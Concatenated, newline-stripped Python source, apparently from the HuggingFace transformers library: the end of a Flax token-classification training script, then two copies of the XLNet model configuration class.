b1=training_args.adam_beta1, b2=training_args.adam_beta2, eps=training_args.adam_epsilon, weight_decay=training_args.weight_decay, mask=decay_mask_fn, ) def cross_entropy_loss(logits, labels): xentropy = optax.softmax_cross_entropy(logits, onehot(labels, num_classes=num_labels)) return jnp.mean(xentropy) return TrainState.create( apply_fn=model.__call__, params=model.params, tx=tx, logits_fn=lambda logits: logits.argmax(-1), loss_fn=cross_entropy_loss, ) def create_learning_rate_fn( train_ds_size: int, train_batch_size: int, num_train_epochs: int, num_warmup_steps: int, learning_rate: float ) -> Callable[[int], jnp.array]: """Returns a linear warmup, linear_decay learning rate function.""" steps_per_epoch = train_ds_size // train_batch_size num_train_steps = steps_per_epoch * num_train_epochs warmup_fn = optax.linear_schedule(init_value=0.0, end_value=learning_rate, transition_steps=num_warmup_steps) decay_fn = optax.linear_schedule( init_value=learning_rate, end_value=0, transition_steps=num_train_steps - num_warmup_steps ) schedule_fn = optax.join_schedules(schedules=[warmup_fn, decay_fn], boundaries=[num_warmup_steps]) return schedule_fn def train_data_collator(rng: PRNGKey, dataset: Dataset, batch_size: int): """Returns shuffled batches of size `batch_size` from truncated `train dataset`, sharded over all local devices.""" steps_per_epoch = len(dataset) // batch_size perms = jax.random.permutation(rng, len(dataset)) perms = perms[: steps_per_epoch * batch_size] # Skip incomplete batch. perms = perms.reshape((steps_per_epoch, batch_size)) for perm in perms: batch = dataset[perm] batch = {k: np.array(v) for k, v in batch.items()} batch = shard(batch) yield batch def eval_data_collator(dataset: Dataset, batch_size: int): """Returns batches of size `batch_size` from `eval dataset`, sharded over all local devices.""" for i in range(len(dataset) // batch_size): batch = dataset[i * batch_size : (i + 1) * batch_size] batch = {k: np.array(v) for k, v in batch.items()} batch = shard(batch) yield batch def main(): # See all possible arguments in src/transformers/training_args.py # or by passing the --help flag to this script. # We now keep distinct sets of args, for a cleaner separation of concerns. parser = HfArgumentParser((ModelArguments, DataTrainingArguments, TrainingArguments)) if len(sys.argv) == 2 and sys.argv[1].endswith(".json"): # If we pass only one argument to the script and it's the path to a json file, # let's parse it to get our arguments. model_args, data_args, training_args = parser.parse_json_file(json_file=os.path.abspath(sys.argv[1])) else: model_args, data_args, training_args = parser.parse_args_into_dataclasses() # Make one log on every process with the configuration for debugging. logging.basicConfig( format="%(asctime)s - %(levelname)s - %(name)s - %(message)s", datefmt="%m/%d/%Y %H:%M:%S", level=logging.INFO, ) # Setup logging, we only want one process per machine to log things on the screen. logger.setLevel(logging.INFO if jax.process_index() == 0 else logging.ERROR) if jax.process_index() == 0: datasets.utils.logging.set_verbosity_warning() transformers.utils.logging.set_verbosity_info() else: datasets.utils.logging.set_verbosity_error() transformers.utils.logging.set_verbosity_error() # Handle the repository creation if training_args.push_to_hub: if training_args.hub_model_id is None: repo_name = get_full_repo_name( Path(training_args.output_dir).absolute().name, token=training_args.hub_token ) else: repo_name = training_args.hub_model_id repo = Repository(training_args.output_dir, clone_from=repo_name) # Get the datasets: you can either provide your own CSV/JSON/TXT training and evaluation files (see below) # or just provide the name of one of the public datasets for token classification task available on the hub at https://huggingface.co/datasets/ # (the dataset will be downloaded automatically from the datasets Hub). # # For CSV/JSON files, this script will use the column called 'tokens' or the first column if no column called # 'tokens' is found. You can easily tweak this behavior (see below). # # In distributed training, the load_dataset function guarantee that only one local process can concurrently # download the dataset. if data_args.dataset_name is not None: # Downloading and loading a dataset from the hub. raw_datasets = load_dataset( data_args.dataset_name, data_args.dataset_config_name, cache_dir=model_args.cache_dir, use_auth_token=True if model_args.use_auth_token else None, ) else: # Loading the dataset from local csv or json file. data_files = {} if data_args.train_file is not None: data_files["train"] = data_args.train_file if data_args.validation_file is not None: data_files["validation"] = data_args.validation_file extension = (data_args.train_file if data_args.train_file is not None else data_args.valid_file).split(".")[-1] raw_datasets = load_dataset( extension, data_files=data_files, cache_dir=model_args.cache_dir, use_auth_token=True if model_args.use_auth_token else None, ) # See more about loading any type of standard or custom dataset at # https://huggingface.co/docs/datasets/loading_datasets.html. if raw_datasets["train"] is not None: column_names = raw_datasets["train"].column_names features = raw_datasets["train"].features else: column_names = raw_datasets["validation"].column_names features = raw_datasets["validation"].features if data_args.text_column_name is not None: text_column_name = data_args.text_column_name elif "tokens" in column_names: text_column_name = "tokens" else: text_column_name = column_names[0] if data_args.label_column_name is not None: label_column_name = data_args.label_column_name elif f"{data_args.task_name}_tags" in column_names: label_column_name = f"{data_args.task_name}_tags" else: label_column_name = column_names[1] # In the event the labels are not a `Sequence[ClassLabel]`, we will need to go through the dataset to get the # unique labels. def get_label_list(labels): unique_labels = set() for label in labels: unique_labels = unique_labels | set(label) label_list = list(unique_labels) label_list.sort() return label_list if isinstance(features[label_column_name].feature, ClassLabel): label_list = features[label_column_name].feature.names # No need to convert the labels since they are already ints. label_to_id = {i: i for i in range(len(label_list))} else: label_list = get_label_list(raw_datasets["train"][label_column_name]) label_to_id = {l: i for i, l in enumerate(label_list)} num_labels = len(label_list) # Load pretrained model and tokenizer config = AutoConfig.from_pretrained( model_args.config_name if model_args.config_name else model_args.model_name_or_path, num_labels=num_labels, label2id=label_to_id, id2label={i: l for l, i in label_to_id.items()}, finetuning_task=data_args.task_name, cache_dir=model_args.cache_dir, revision=model_args.model_revision, use_auth_token=True if model_args.use_auth_token else None, ) tokenizer_name_or_path = model_args.tokenizer_name if model_args.tokenizer_name else model_args.model_name_or_path if config.model_type in {"gpt2", "roberta"}: tokenizer = AutoTokenizer.from_pretrained( tokenizer_name_or_path, cache_dir=model_args.cache_dir, revision=model_args.model_revision, use_auth_token=True if model_args.use_auth_token else None, add_prefix_space=True, ) else: tokenizer = AutoTokenizer.from_pretrained( tokenizer_name_or_path, cache_dir=model_args.cache_dir, revision=model_args.model_revision, use_auth_token=True if model_args.use_auth_token else None, ) model = FlaxAutoModelForTokenClassification.from_pretrained( model_args.model_name_or_path, config=config, cache_dir=model_args.cache_dir, revision=model_args.model_revision, use_auth_token=True if model_args.use_auth_token else None, ) # Preprocessing the datasets # Tokenize all texts and align the labels with them. def tokenize_and_align_labels(examples): tokenized_inputs = tokenizer( examples[text_column_name], max_length=data_args.max_seq_length, padding="max_length", truncation=True, # We use this argument because the texts in our dataset are lists of words (with a label for each word). is_split_into_words=True, ) labels = [] for i, label in enumerate(examples[label_column_name]): word_ids = tokenized_inputs.word_ids(batch_index=i) previous_word_idx = None label_ids = [] for word_idx in word_ids: # Special tokens have a word id that is None. We set the label to -100 so they are automatically # ignored in the loss function. if word_idx is None: label_ids.append(-100) # We set the label for the first token of each word. elif word_idx != previous_word_idx: label_ids.append(label_to_id[label[word_idx]]) # For the other tokens in a word, we set the label to either the current label or -100, depending on # the label_all_tokens flag. else: label_ids.append(label_to_id[label[word_idx]] if data_args.label_all_tokens else -100) previous_word_idx = word_idx labels.append(label_ids) tokenized_inputs["labels"] = labels return tokenized_inputs processed_raw_datasets = raw_datasets.map( tokenize_and_align_labels, batched=True, num_proc=data_args.preprocessing_num_workers, load_from_cache_file=not data_args.overwrite_cache, remove_columns=raw_datasets["train"].column_names, desc="Running tokenizer on dataset", ) train_dataset = processed_raw_datasets["train"] eval_dataset = processed_raw_datasets["validation"] # Log a few random samples from the training set: for index in random.sample(range(len(train_dataset)), 3): logger.info(f"Sample {index} of the training set: {train_dataset[index]}.") # Define a summary writer has_tensorboard = is_tensorboard_available() if has_tensorboard and jax.process_index() == 0: try: from flax.metrics.tensorboard import SummaryWriter summary_writer = SummaryWriter(training_args.output_dir) summary_writer.hparams({**training_args.to_dict(), **vars(model_args), **vars(data_args)}) except ImportError as ie: has_tensorboard = False logger.warning( f"Unable to display metrics through TensorBoard because some package are not installed: {ie}" ) else: logger.warning( "Unable to display metrics through TensorBoard because the package is not installed: " "Please run pip install tensorboard to enable." ) def write_train_metric(summary_writer, train_metrics, train_time, step): summary_writer.scalar("train_time", train_time, step) train_metrics = get_metrics(train_metrics) for key, vals in train_metrics.items(): tag = f"train_{key}" for i, val in enumerate(vals): summary_writer.scalar(tag, val, step - len(vals) + i + 1) def write_eval_metric(summary_writer, eval_metrics, step): for metric_name, value in eval_metrics.items(): summary_writer.scalar(f"eval_{metric_name}", value, step) num_epochs = int(training_args.num_train_epochs) rng = jax.random.PRNGKey(training_args.seed) dropout_rngs = jax.random.split(rng, jax.local_device_count()) train_batch_size = training_args.per_device_train_batch_size * jax.local_device_count() eval_batch_size = training_args.per_device_eval_batch_size * jax.local_device_count() learning_rate_fn = create_learning_rate_fn( len(train_dataset), train_batch_size, training_args.num_train_epochs, training_args.warmup_steps, training_args.learning_rate, ) state = create_train_state(model, learning_rate_fn, num_labels=num_labels, training_args=training_args) # define step functions def train_step( state: train_state.TrainState, batch: Dict[str, Array], dropout_rng: PRNGKey ) -> Tuple[train_state.TrainState, float]: """Trains model with an optimizer (both in `state`) on `batch`, returning a pair `(new_state, loss)`.""" dropout_rng, new_dropout_rng = jax.random.split(dropout_rng) targets = batch.pop("labels") def loss_fn(params): logits = state.apply_fn(**batch, params=params, dropout_rng=dropout_rng, train=True)[0] loss = state.loss_fn(logits, targets) return loss grad_fn = jax.value_and_grad(loss_fn) loss, grad = grad_fn(state.params) grad = jax.lax.pmean(grad, "batch") new_state = state.apply_gradients(grads=grad) metrics = jax.lax.pmean({"loss": loss, "learning_rate": learning_rate_fn(state.step)}, axis_name="batch") return new_state, metrics, new_dropout_rng p_train_step = jax.pmap(train_step, axis_name="batch", donate_argnums=(0,)) def eval_step(state, batch): logits = state.apply_fn(**batch, params=state.params, train=False)[0] return state.logits_fn(logits) p_eval_step = jax.pmap(eval_step, axis_name="batch") metric = load_metric("seqeval") def get_labels(y_pred, y_true): # Transform predictions and references tensos to numpy arrays # Remove ignored index (special tokens) true_predictions = [ [label_list[p] for (p, l) in zip(pred, gold_label) if l != -100] for pred, gold_label in zip(y_pred, y_true) ] true_labels = [ [label_list[l] for (p, l) in zip(pred, gold_label) if l != -100] for pred, gold_label in zip(y_pred, y_true) ] return true_predictions, true_labels def compute_metrics(): results = metric.compute() if data_args.return_entity_level_metrics: # Unpack nested dictionaries final_results = {} for key, value in results.items(): if isinstance(value, dict): for n, v in value.items(): final_results[f"{key}_{n}"] = v else: final_results[key] = value return final_results else: return { "precision": results["overall_precision"], "recall": results["overall_recall"], "f1": results["overall_f1"], "accuracy": results["overall_accuracy"], } logger.info(f"===== Starting training ({num_epochs} epochs) =====") train_time = 0 # make sure weights are replicated on each device state = replicate(state) train_time = 0 step_per_epoch = len(train_dataset) // train_batch_size total_steps = step_per_epoch * num_epochs epochs = tqdm(range(num_epochs), desc=f"Epoch ... (1/{num_epochs})", position=0) for epoch in epochs: train_start = time.time() train_metrics = [] # Create sampling rng rng, input_rng = jax.random.split(rng) # train for step, batch in enumerate( tqdm( train_data_collator(input_rng, train_dataset, train_batch_size), total=step_per_epoch, desc="Training...", position=1, ) ): state, train_metric, dropout_rngs = p_train_step(state, batch, dropout_rngs) train_metrics.append(train_metric) cur_step = (epoch * step_per_epoch) + (step + 1) if cur_step % training_args.logging_steps == 0 and cur_step > 0: # Save metrics train_metric = unreplicate(train_metric) train_time += time.time() - train_start if has_tensorboard and jax.process_index() == 0: write_train_metric(summary_writer, train_metrics, train_time, cur_step) epochs.write( f"Step... ({cur_step}/{total_steps} | Training Loss: {train_metric['loss']}, Learning Rate:" f" {train_metric['learning_rate']})" ) train_metrics = [] if cur_step % training_args.eval_steps == 0 and cur_step > 0: eval_metrics = {} # evaluate for batch in tqdm( eval_data_collator(eval_dataset, eval_batch_size), total=len(eval_dataset) // eval_batch_size, desc="Evaluating ...", position=2, ): labels = batch.pop("labels") predictions = p_eval_step(state, batch) predictions = np.array([pred for pred in chain(*predictions)]) labels = np.array([label for label in chain(*labels)]) labels[np.array(chain(*batch["attention_mask"])) == 0] = -100 preds, refs = get_labels(predictions, labels) metric.add_batch( predictions=preds, references=refs, ) # evaluate also on leftover examples (not divisible by batch_size) num_leftover_samples = len(eval_dataset) % eval_batch_size # make sure leftover batch is evaluated on one device if num_leftover_samples > 0 and jax.process_index() == 0: # take leftover samples batch = eval_dataset[-num_leftover_samples:] batch = {k: np.array(v) for k, v in batch.items()} labels = batch.pop("labels") predictions = eval_step(unreplicate(state), batch) labels = np.array(labels) labels[np.array(batch["attention_mask"]) == 0] = -100 preds, refs = get_labels(predictions, labels) metric.add_batch( predictions=preds, references=refs, ) eval_metrics = compute_metrics() if data_args.return_entity_level_metrics: logger.info(f"Step... ({cur_step}/{total_steps} | Validation metrics: {eval_metrics}") else: logger.info( f"Step... ({cur_step}/{total_steps} | Validation f1: {eval_metrics['f1']}, Validation Acc:" f" {eval_metrics['accuracy']})" ) if has_tensorboard and jax.process_index() == 0: write_eval_metric(summary_writer, eval_metrics, cur_step) if (cur_step % training_args.save_steps == 0 and cur_step > 0) or (cur_step == total_steps): # save checkpoint after each epoch and push checkpoint to the hub if jax.process_index() == 0: params = jax.device_get(unreplicate(state.params)) model.save_pretrained(training_args.output_dir, params=params) tokenizer.save_pretrained(training_args.output_dir) if training_args.push_to_hub: repo.push_to_hub(commit_message=f"Saving weights and logs of step {cur_step}", blocking=False) epochs.desc = f"Epoch ... {epoch + 1}/{num_epochs}" # Eval after training if training_args.do_eval: eval_metrics = {} eval_loader = eval_data_collator(eval_dataset, eval_batch_size) for batch in tqdm(eval_loader, total=len(eval_dataset) // eval_batch_size, desc="Evaluating ...", position=2): labels = batch.pop("labels") predictions = p_eval_step(state, batch) predictions = np.array([pred for pred in chain(*predictions)]) labels = np.array([label for label in chain(*labels)]) labels[np.array(chain(*batch["attention_mask"])) == 0] = -100 preds, refs = get_labels(predictions, labels) metric.add_batch(predictions=preds, references=refs) # evaluate also on leftover examples (not divisible by batch_size) num_leftover_samples = len(eval_dataset) % eval_batch_size # make sure leftover batch is evaluated on one device if num_leftover_samples > 0 and jax.process_index() == 0: # take leftover samples batch = eval_dataset[-num_leftover_samples:] batch = {k: np.array(v) for k, v in batch.items()} labels = np.array(batch.pop("labels")) predictions = eval_step(unreplicate(state), batch) labels[np.array(batch["attention_mask"]) == 0] = -100 preds, refs = get_labels(predictions, labels) metric.add_batch(predictions=preds, references=refs) eval_metrics = compute_metrics() if jax.process_index() == 0: eval_metrics = {f"eval_{metric_name}": value for metric_name, value in eval_metrics.items()} path = os.path.join(training_args.output_dir, "eval_results.json") with open(path, "w") as f: json.dump(eval_metrics, f, indent=4, sort_keys=True) if __name__ == "__main__": main()
# coding=utf-8 # Copyright 2018 Google AI, Google Brain and Carnegie Mellon University Authors and the HuggingFace Inc. team. # Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ XLNet configuration """ import logging import warnings from .configuration_utils import PretrainedConfig logger = logging.getLogger(__name__) XLNET_PRETRAINED_CONFIG_ARCHIVE_MAP = { "xlnet-base-cased": "https://s3.amazonaws.com/models.huggingface.co/bert/xlnet-base-cased-config.json", "xlnet-large-cased": "https://s3.amazonaws.com/models.huggingface.co/bert/xlnet-large-cased-config.json", } class XLNetConfig(PretrainedConfig): """ This is the configuration class to store the configuration of a :class:`~transformers.XLNetModel`. It is used to instantiate an XLNet model according to the specified arguments, defining the model architecture. Instantiating a configuration with the defaults will yield a similar configuration to that of the `xlnet-large-cased <https://huggingface.co/xlnet-large-cased>`__ architecture. Configuration objects inherit from :class:`~transformers.PretrainedConfig` and can be used to control the model outputs. Read the documentation from :class:`~transformers.PretrainedConfig` for more information. Args: vocab_size (:obj:`int`, optional, defaults to 32000): Vocabulary size of the XLNet model. Defines the different tokens that can be represented by the `inputs_ids` passed to the forward method of :class:`~transformers.XLNetModel`. d_model (:obj:`int`, optional, defaults to 1024): Dimensionality of the encoder layers and the pooler layer. n_layer (:obj:`int`, optional, defaults to 24): Number of hidden layers in the Transformer encoder. n_head (:obj:`int`, optional, defaults to 16): Number of attention heads for each attention layer in the Transformer encoder. d_inner (:obj:`int`, optional, defaults to 4096): Dimensionality of the "intermediate" (i.e., feed-forward) layer in the Transformer encoder. ff_activation (:obj:`string`, optional, defaults to "gelu"): The non-linear activation function (function or string) in the encoder and pooler. If string, "gelu", "relu" and "swish" are supported. untie_r (:obj:`boolean`, optional, defaults to :obj:`True`): Untie relative position biases attn_type (:obj:`string`, optional, defaults to "bi"): The attention type used by the model. Set 'bi' for XLNet, 'uni' for Transformer-XL. initializer_range (:obj:`float`, optional, defaults to 0.02): The standard deviation of the truncated_normal_initializer for initializing all weight matrices. layer_norm_eps (:obj:`float`, optional, defaults to 1e-12): The epsilon used by the layer normalization layers. dropout (:obj:`float`, optional, defaults to 0.1): The dropout probability for all fully connected layers in the embeddings, encoder, and pooler. mem_len (:obj:`int` or :obj:`None`, optional, defaults to :obj:`None`): The number of tokens to cache. The key/value pairs that have already been pre-computed in a previous forward pass won't be re-computed. See the `quickstart <https://huggingface.co/transformers/quickstart.html#using-the-past>`__ for more information. reuse_len (:obj:`int` or :obj:`None`, optional, defaults to :obj:`None`): The number of tokens in the current batch to be cached and reused in the future. bi_data (:obj:`boolean`, optional, defaults to :obj:`False`): Whether to use bidirectional input pipeline. Usually set to `True` during pretraining and `False` during finetuning. clamp_len (:obj:`int`, optional, defaults to -1): Clamp all relative distances larger than clamp_len. Setting this attribute to -1 means no clamping. same_length (:obj:`boolean`, optional, defaults to :obj:`False`): Whether to use the same attention length for each token. summary_type (:obj:`string`, optional, defaults to "last"): Argument used when doing sequence summary. Used in for the multiple choice head in :class:transformers.XLNetForSequenceClassification` and :class:`~transformers.XLNetForMultipleChoice`. Is one of the following options: - 'last' => take the last token hidden state (like XLNet) - 'first' => take the first token hidden state (like Bert) - 'mean' => take the mean of all tokens hidden states - 'cls_index' => supply a Tensor of classification token position (GPT/GPT-2) - 'attn' => Not implemented now, use multi-head attention summary_use_proj (:obj:`boolean`, optional, defaults to :obj:`True`): Argument used when doing sequence summary. Used in for the multiple choice head in :class:`~transformers.XLNetForSequenceClassification` and :class:`~transformers.XLNetForMultipleChoice`. Add a projection after the vector extraction summary_activation (:obj:`string` or :obj:`None`, optional, defaults to :obj:`None`): Argument used when doing sequence summary. Used in for the multiple choice head in :class:`~transformers.XLNetForSequenceClassification` and :class:`~transformers.XLNetForMultipleChoice`. 'tanh' => add a tanh activation to the output, Other => no activation. summary_proj_to_labels (:obj:`boolean`, optional, defaults to :obj:`True`): Argument used when doing sequence summary. Used in for the multiple choice head in :class:`~transformers.XLNetForSequenceClassification` and :class:`~transformers.XLNetForMultipleChoice`. If True, the projection outputs to config.num_labels classes (otherwise to hidden_size). Default: False. summary_last_dropout (:obj:`float`, optional, defaults to 0.1): Argument used when doing sequence summary. Used in for the multiple choice head in :class:`~transformers.XLNetForSequenceClassification` and :class:`~transformers.XLNetForMultipleChoice`. Add a dropout after the projection and activation start_n_top (:obj:`int`, optional, defaults to 5): Used in the SQuAD evaluation script for XLM and XLNet. end_n_top (:obj:`int`, optional, defaults to 5): Used in the SQuAD evaluation script for XLM and XLNet. use_cache (:obj:`bool`, `optional`, defaults to :obj:`True`): Whether or not the model should return the last pre-computed hidden states. .. note:: This flag behaves differently from with other models: it just controls the inference behavior, during training the model always uses ``use_cache=True``. Example:: >>> from transformers import XLNetConfig, XLNetModel >>> # Initializing a XLNet configuration >>> configuration = XLNetConfig() >>> # Initializing a model from the configuration >>> model = XLNetModel(configuration) >>> # Accessing the model configuration >>> configuration = model.config """ model_type = "xlnet" def __init__( self, vocab_size=32000, d_model=1024, n_layer=24, n_head=16, d_inner=4096, ff_activation="gelu", untie_r=True, attn_type="bi", initializer_range=0.02, layer_norm_eps=1e-12, dropout=0.1, mem_len=None, reuse_len=None, bi_data=False, clamp_len=-1, same_length=False, summary_type="last", summary_use_proj=True, summary_activation="tanh", summary_last_dropout=0.1, start_n_top=5, end_n_top=5, pad_token_id=5, bos_token_id=1, eos_token_id=2, **kwargs ): """Constructs XLNetConfig. """ super().__init__(pad_token_id=pad_token_id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, **kwargs) self.vocab_size = vocab_size self.d_model = d_model self.n_layer = n_layer self.n_head = n_head assert d_model % n_head == 0 if "d_head" in kwargs: assert ( kwargs["d_head"] == d_model // n_head ), f"`d_head` ({kwargs["d_head"]}) should be equal to `d_model // n_head` ({d_model // n_head})" self.d_head = d_model // n_head self.ff_activation = ff_activation self.d_inner = d_inner self.untie_r = untie_r self.attn_type = attn_type self.initializer_range = initializer_range self.layer_norm_eps = layer_norm_eps self.dropout = dropout self.mem_len = mem_len self.reuse_len = reuse_len self.bi_data = bi_data self.clamp_len = clamp_len self.same_length = same_length self.summary_type = summary_type self.summary_use_proj = summary_use_proj self.summary_activation = summary_activation self.summary_last_dropout = summary_last_dropout self.start_n_top = start_n_top self.end_n_top = end_n_top self.bos_token_id = bos_token_id self.pad_token_id = pad_token_id self.eos_token_id = eos_token_id if mem_len is None or mem_len == 0: warnings.warn( "This config doesn't use attention memories, a core feature of XLNet." " Consider setting `men_len` to a non-zero value, for example " "`xlnet = XLNetLMHeadModel.from_pretrained('xlnet-base-cased'', mem_len=1024)`," " for accurate training performance as well as an order of magnitude faster inference." " Starting from version 3.5.0, the default parameter will be 1024, following" " the implementation in https://arxiv.org/abs/1906.08237", FutureWarning, ) @property def max_position_embeddings(self): return -1 @property def n_token(self): # Backward compatibility return self.vocab_size @n_token.setter def n_token(self, value): # Backward compatibility self.vocab_size = value @property def hidden_size(self): return self.d_model @property def num_attention_heads(self): return self.n_head @property def num_hidden_layers(self): return self.n_layer
# coding=utf-8 # Copyright 2018 Google AI, Google Brain and Carnegie Mellon University Authors and the HuggingFace Inc. team. # Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ XLNet configuration """ import logging import warnings from .configuration_utils import PretrainedConfig logger = logging.getLogger(__name__) XLNET_PRETRAINED_CONFIG_ARCHIVE_MAP = { "xlnet-base-cased": "https://s3.amazonaws.com/models.huggingface.co/bert/xlnet-base-cased-config.json", "xlnet-large-cased": "https://s3.amazonaws.com/models.huggingface.co/bert/xlnet-large-cased-config.json", } class XLNetConfig(PretrainedConfig): """ This is the configuration class to store the configuration of a :class:`~transformers.XLNetModel`. It is used to instantiate an XLNet model according to the specified arguments, defining the model architecture. Instantiating a configuration with the defaults will yield a similar configuration to that of the `xlnet-large-cased <https://huggingface.co/xlnet-large-cased>`__ architecture. Configuration objects inherit from :class:`~transformers.PretrainedConfig` and can be used to control the model outputs. Read the documentation from :class:`~transformers.PretrainedConfig` for more information. Args: vocab_size (:obj:`int`, optional, defaults to 32000): Vocabulary size of the XLNet model. Defines the different tokens that can be represented by the `inputs_ids` passed to the forward method of :class:`~transformers.XLNetModel`. d_model (:obj:`int`, optional, defaults to 1024): Dimensionality of the encoder layers and the pooler layer. n_layer (:obj:`int`, optional, defaults to 24): Number of hidden layers in the Transformer encoder. n_head (:obj:`int`, optional, defaults to 16): Number of attention heads for each attention layer in the Transformer encoder. d_inner (:obj:`int`, optional, defaults to 4096): Dimensionality of the "intermediate" (i.e., feed-forward) layer in the Transformer encoder. ff_activation (:obj:`string`, optional, defaults to "gelu"): The non-linear activation function (function or string) in the encoder and pooler. If string, "gelu", "relu" and "swish" are supported. untie_r (:obj:`boolean`, optional, defaults to :obj:`True`): Untie relative position biases attn_type (:obj:`string`, optional, defaults to "bi"): The attention type used by the model. Set 'bi' for XLNet, 'uni' for Transformer-XL. initializer_range (:obj:`float`, optional, defaults to 0.02): The standard deviation of the truncated_normal_initializer for initializing all weight matrices. layer_norm_eps (:obj:`float`, optional, defaults to 1e-12): The epsilon used by the layer normalization layers. dropout (:obj:`float`, optional, defaults to 0.1): The dropout probability for all fully connected layers in the embeddings, encoder, and pooler. mem_len (:obj:`int` or :obj:`None`, optional, defaults to :obj:`None`): The number of tokens to cache. The key/value pairs that have already been pre-computed in a previous forward pass won't be re-computed. See the `quickstart <https://huggingface.co/transformers/quickstart.html#using-the-past>`__ for more information. reuse_len (:obj:`int` or :obj:`None`, optional, defaults to :obj:`None`): The number of tokens in the current batch to be cached and reused in the future. bi_data (:obj:`boolean`, optional, defaults to :obj:`False`): Whether to use bidirectional input pipeline. Usually set to `True` during pretraining and `False` during finetuning. clamp_len (:obj:`int`, optional, defaults to -1): Clamp all relative distances larger than clamp_len. Setting this attribute to -1 means no clamping. same_length (:obj:`boolean`, optional, defaults to :obj:`False`): Whether to use the same attention length for each token. summary_type (:obj:`string`, optional, defaults to "last"): Argument used when doing sequence summary. Used in for the multiple choice head in :class:transformers.XLNetForSequenceClassification` and :class:`~transformers.XLNetForMultipleChoice`. Is one of the following options: - 'last' => take the last token hidden state (like XLNet) - 'first' => take the first token hidden state (like Bert) - 'mean' => take the mean of all tokens hidden states - 'cls_index' => supply a Tensor of classification token position (GPT/GPT-2) - 'attn' => Not implemented now, use multi-head attention summary_use_proj (:obj:`boolean`, optional, defaults to :obj:`True`): Argument used when doing sequence summary. Used in for the multiple choice head in :class:`~transformers.XLNetForSequenceClassification` and :class:`~transformers.XLNetForMultipleChoice`. Add a projection after the vector extraction summary_activation (:obj:`string` or :obj:`None`, optional, defaults to :obj:`None`): Argument used when doing sequence summary. Used in for the multiple choice head in :class:`~transformers.XLNetForSequenceClassification` and :class:`~transformers.XLNetForMultipleChoice`. 'tanh' => add a tanh activation to the output, Other => no activation. summary_proj_to_labels (:obj:`boolean`, optional, defaults to :obj:`True`): Argument used when doing sequence summary. Used in for the multiple choice head in :class:`~transformers.XLNetForSequenceClassification` and :class:`~transformers.XLNetForMultipleChoice`. If True, the projection outputs to config.num_labels classes (otherwise to hidden_size). Default: False. summary_last_dropout (:obj:`float`, optional, defaults to 0.1): Argument used when doing sequence summary. Used in for the multiple choice head in :class:`~transformers.XLNetForSequenceClassification` and :class:`~transformers.XLNetForMultipleChoice`. Add a dropout after the projection and activation start_n_top (:obj:`int`, optional, defaults to 5): Used in the SQuAD evaluation script for XLM and XLNet. end_n_top (:obj:`int`, optional, defaults to 5): Used in the SQuAD evaluation script for XLM and XLNet. use_cache (:obj:`bool`, `optional`, defaults to :obj:`True`): Whether or not the model should return the last pre-computed hidden states. .. note:: This flag behaves differently from with other models: it just controls the inference behavior, during training the model always uses ``use_cache=True``. Example:: >>> from transformers import XLNetConfig, XLNetModel >>> # Initializing a XLNet configuration >>> configuration = XLNetConfig() >>> # Initializing a model from the configuration >>> model = XLNetModel(configuration) >>> # Accessing the model configuration >>> configuration = model.config """ model_type = "xlnet" def __init__( self, vocab_size=32000, d_model=1024, n_layer=24, n_head=16, d_inner=4096, ff_activation="gelu", untie_r=True, attn_type="bi", initializer_range=0.02, layer_norm_eps=1e-12, dropout=0.1, mem_len=None, reuse_len=None, bi_data=False, clamp_len=-1, same_length=False, summary_type="last", summary_use_proj=True, summary_activation="tanh", summary_last_dropout=0.1, start_n_top=5, end_n_top=5, pad_token_id=5, bos_token_id=1, eos_token_id=2, **kwargs ): """Constructs XLNetConfig. """ super().__init__(pad_token_id=pad_token_id, bos_token_id=bos_token_id, eos_token_id=eos_token_id, **kwargs) self.vocab_size = vocab_size self.d_model = d_model self.n_layer = n_layer self.n_head = n_head assert d_model % n_head == 0 if "d_head" in kwargs: assert ( kwargs["d_head"] == d_model // n_head ), f"`d_head` ({kwargs['d_head']}) should be equal to `d_model // n_head` ({d_model // n_head})" self.d_head = d_model // n_head self.ff_activation = ff_activation self.d_inner = d_inner self.untie_r = untie_r self.attn_type = attn_type self.initializer_range = initializer_range self.layer_norm_eps = layer_norm_eps self.dropout = dropout self.mem_len = mem_len self.reuse_len = reuse_len self.bi_data = bi_data self.clamp_len = clamp_len self.same_length = same_length self.summary_type = summary_type self.summary_use_proj = summary_use_proj self.summary_activation = summary_activation self.summary_last_dropout = summary_last_dropout self.start_n_top = start_n_top self.end_n_top = end_n_top self.bos_token_id = bos_token_id self.pad_token_id = pad_token_id self.eos_token_id = eos_token_id if mem_len is None or mem_len == 0: warnings.warn( "This config doesn't use attention memories, a core feature of XLNet." " Consider setting `men_len` to a non-zero value, for example " "`xlnet = XLNetLMHeadModel.from_pretrained('xlnet-base-cased'', mem_len=1024)`," " for accurate training performance as well as an order of magnitude faster inference." " Starting from version 3.5.0, the default parameter will be 1024, following" " the implementation in https://arxiv.org/abs/1906.08237", FutureWarning, ) @property def max_position_embeddings(self): return -1 @property def n_token(self): # Backward compatibility return self.vocab_size @n_token.setter def n_token(self, value): # Backward compatibility self.vocab_size = value @property def hidden_size(self): return self.d_model @property def num_attention_heads(self): return self.n_head @property def num_hidden_layers(self): return self.n_layer
